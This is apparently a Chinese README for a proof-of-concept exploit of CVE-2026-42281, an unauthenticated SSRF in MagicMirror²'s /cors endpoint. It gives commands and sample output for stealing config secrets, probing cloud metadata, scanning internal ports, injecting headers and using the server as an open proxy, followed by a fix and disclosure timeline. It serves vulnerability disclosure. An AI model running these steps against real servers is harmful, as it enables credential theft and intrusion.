/cors 端点实现未认证 SSRF
发现并报告者： Astaruf
完整技术文章： https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
上游安全公告： MagicMirrorOrg/MagicMirror 安全公告
本仓库托管 CVE-2026-42281 的概念验证（PoC）利用代码，这是 MagicMirror² ≤ 2.35.0 中的一个未认证 SSRF 漏洞，可将 /cors 端点变成一个功能完整的 SSRF 代理，能够访问回环地址、内部网络和云元数据服务。当 hideConfigSecrets: true 时，同一端点还可在单个请求中窃取 process.env.SECRET_* 值。
有关完整的代码审查、漏洞分析、修复方案拆解、CVSS 争议和时间线，请参阅 nstsec.com 上的完整技术文章。本 README 重点介绍如何使用该 PoC。
# 1. 验证目标是否存在漏洞
python3 poc.py -t http://target:8080 --check
# 2. 窃取应用配置（自动发现密钥）
python3 poc.py -t http://target:8080 --config
# 3. 探测 10+ 家云提供商的元数据服务
python3 poc.py -t http://target:8080 --cloud
# 4. 通过 SSRF 进行内网端口扫描
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. 演示入站/出站请求头滥用
python3 poc.py -t http://target:8080 --headers
# 6. 将服务器用作通用开放代理
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| 标志 | 描述 |
|---|---|
--check | 通过回环获取 /version 验证 SSRF 是否可利用 |
--config | 通过回环 SSRF 获取 /config，解析 JSON，在模块配置中搜索 API 密钥 / 令牌 / 密码 |
--cloud | 探测 AWS、GCP、Azure、OCI、DigitalOcean、阿里云、Hetzner、IBM、Kubernetes、Rancher、Equinix 的元数据服务；自动跟踪 AWS IAM 角色枚举 |
--port-scan HOSTS | 扫描一个或多个主机（-p 22,80 / -p 0-1024 / -p - 表示全部 65535 个端口），多线程 |
--headers | 第 A 部分：通过 sendheaders 将 Authorization/X-* 请求头注入出站请求。第 B 部分：通过 expectedheaders 将攻击者控制的恶意源 Set-Cookie 转发到受害者浏览器 |
--open-proxy URL | 对任意 URL 执行通用 SSRF GET，打印响应体（适用于探索内部 HTTP API） |
| 选项 | 默认值 | 描述 |
|---|---|---|
-t / --target | 必填 | 目标 URL，例如 http://192.168.1.10:8080 |
--timeout | 2.0 | 每个请求的超时时间（秒） |
--threads | 30 | --port-scan 使用的线程数 |
--verbose | 关闭 | 打印完整 JSON 响应（以及未脱敏的云元数据响应体） |
1. PoC 横幅和确认 SSRF 的 --check 模式：
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — 通过 /cors 端点实现未认证 SSRF
作者: Astaruf | https://nstsec.com
检查，目标可达性和 SSRF 确认
[*] 正在验证目标可达性 ...
[+] 目标可达，MagicMirror 2.35.0
[*] 通过回环确认 SSRF ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF 已确认，服务器代表我们获取了内部资源
<< 2.35.0
2. --config 窃取应用配置并自动发现模块配置中的密钥：
配置窃取，通过 SSRF 回环获取完整配置
[+] 配置已获取，1194 字节
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] 对所有 IP 开放
发现的密钥：
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers 确认出站注入和入站转发：
请求头注入，出站和入站请求头滥用
[*] 第 A 部分：通过 sendheaders 将任意请求头注入出站请求
[+] 出站请求中确认存在请求头 X-Injected-By: SSRF-PoC
[+] 出站请求中确认存在请求头 Authorization: Bearer DEMO_TOKEN
[*] 第 B 部分：通过 expectedheaders 将响应头转发到浏览器
[+] 响应头 Set-Cookie 已转发到浏览器: session=hijacked;HttpOnly
[+] 浏览器收到此 Cookie，如同它来自 MagicMirror 域
4. --open-proxy 确认服务器可发起出站 HTTP 请求：
开放代理，通过易受攻击的服务器获取 https://httpbin.org/ip
[+] HTTP 200，从服务器收到 32 字节
{
"origin": "<服务器的公网 IP，而非攻击者的 IP>"
}
--check（以及所有其他模式）会向 http://127.0.0.1:<port>/version 发送 SSRF 回环请求。通过 Docker 测试时，请确保主机端口与容器内端口一致（例如映射 8080:8080，而不是 8081:8080），否则即使实例确实存在漏洞，回环目标也无法从容器内部解析。--cloud 不会产生任何命中——这是预期行为，脚本会明确报告。该攻击向量确实存在；测试它需要真实的云部署环境。已在 MagicMirror² v2.36.0（2026 年 4 月 30 日发布）中修复。该修复横跨六个 PR（#4084、#4087、#4090、#4091、#4102、#4104）。有关每个 PR 的详细拆解、代码片段以及针对已修补版本重新测试的绕过尝试验证矩阵，请参阅完整技术文章。
| 日期 | 事件 |
|---|---|
| 2026-03-30 | 发现漏洞，公开提交 issue，向维护者发送邮件 |
| 2026-03-31 | 维护者确认收到报告 |
| 2026-04-01 | 维护者在仓库中添加了 SECURITY.md 并启用了 GitHub 安全公告 |
| 2026-04-09 | 正式开启 GHSA 公告 |
| 2026-04-26 | 确认下一个版本将包含修复。GitHub 分配了 CVE-2026-42281 |
| 2026-04-26 | CVSS 争议——向量从 Moderate 提升至 9.2 Critical（AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N） |
| 2026-04-30 | MagicMirror² v2.36.0 发布，修复已公开推送 |
| 2026-05-04 | 公开披露（技术文章 + PoC 仓库） |
本材料仅供授权的安全测试和教育目的使用。仅可针对您拥有或已获得明确书面许可进行测试的 MagicMirror² 实例使用。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。